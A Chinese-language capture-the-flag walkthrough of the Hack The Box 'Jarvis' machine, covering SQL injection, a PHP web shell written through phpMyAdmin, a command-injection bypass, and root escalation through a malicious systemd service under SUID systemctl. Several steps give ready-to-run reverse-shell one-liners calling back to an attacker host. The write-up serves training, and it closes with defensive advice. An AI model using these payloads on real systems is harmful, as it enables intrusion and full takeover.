hack the box之jarvis靶场练习
字数 1431 2025-08-11 08:35:47
Hack The Box - Jarvis 靶场渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用工具如nmap进行端口扫描,发现开放端口:
- 80端口:HTTP服务
1.2 Web服务枚举
访问80端口发现以下信息:
- 域名:supersecurehotel.htb
- 子域名:supersecurehotel@logger.htb
1.3 目录扫描
使用工具如dirbuster或gobuster扫描目录,发现:
- phpMyAdmin目录
- 版本信息:phpMyAdmin 4.8.0
2. 初始入侵
2.1 SQL注入漏洞利用
在Web应用中发现SQL注入点:
- 使用sqlmap进行自动化注入测试
- 获取数据库凭据:
- 用户名:DBadmin
- 密码:imissyou
2.2 phpMyAdmin登录
使用获取的凭据登录phpMyAdmin:
- 确认网站根目录为默认目录
- 尝试写入Web shell
2.3 Web shell写入
通过SQL查询写入PHP Web shell:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'
验证执行权限后,通过Web shell获取反向shell。
3. 权限提升至pepper用户
3.1 系统信息收集
查看当前用户权限和系统用户:
- 当前用户:www-data
- 系统用户:root和pepper
3.2 特权脚本分析
发现可使用pepper权限执行的脚本:
- 路径:/var/www/Admin-Utilities/simpler.py
- 分析脚本功能:
- 提供统计、列表和ping功能
- -p参数执行ping命令但有过滤
3.3 绕过过滤获取shell
利用命令注入绕过过滤:
- 原始过滤:禁止使用&等字符
- 绕过方法:使用$符号
- 执行命令:
然后输入:sudo -u pepper /var/www/Admin-Utilities/simpler.py -p$(bash -i >& /dev/tcp/攻击者IP/端口 0>&1)
3.4 解决无回显问题
当获取的shell无回显时:
- 尝试重新反弹shell
- 使用不同的payload或端口
4. 权限提升至root
4.1 SUID权限检查
查找具有SUID权限的可执行文件:
- 发现systemctl具有SUID权限
4.2 systemctl提权方法
-
创建恶意service文件(root.service):
[Unit] Description=root [Service] Type=simple User=root ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/4567 0>&1' [Install] WantedBy=multi-user.target -
在攻击机启动HTTP服务:
python3 -m http.server 80 -
在目标机下载并启用service:
cd /dev/shm wget http://攻击者IP/root.service systemctl link /dev/shm/root.service systemctl enable --now /dev/shm/root.service -
在攻击机监听4567端口获取root shell
5. 获取flag
- 用户flag路径:/home/pepper/user.txt
- root flag路径:/root/root.txt
6. 关键问题解决
6.1 pepper shell无回显问题
可能原因:
- 反向shell连接不稳定
- 终端环境设置问题
解决方案: - 尝试不同的反向shell payload
- 使用更稳定的连接方式如nc
- 检查防火墙设置
6.2 命令注入绕过技巧
- 使用$代替被过滤的字符
- 尝试base64编码命令
- 使用变量拼接绕过
7. 总结与经验
-
完整渗透路径:
- Web应用SQL注入 → 数据库凭据 → phpMyAdmin → Web shell → 反向shell
→ 特权脚本分析 → 命令注入 → pepper权限 → systemctl SUID滥用 → root权限
- Web应用SQL注入 → 数据库凭据 → phpMyAdmin → Web shell → 反向shell
-
关键学习点:
- 旧版本phpMyAdmin的安全风险
- 特权脚本的命令注入漏洞
- systemctl的SUID提权方法
- 无回显shell的调试技巧
-
防御建议:
- 及时更新phpMyAdmin
- 限制数据库用户权限
- 避免使用SUID设置
- 对用户输入进行严格过滤
- 使用最小权限原则运行服务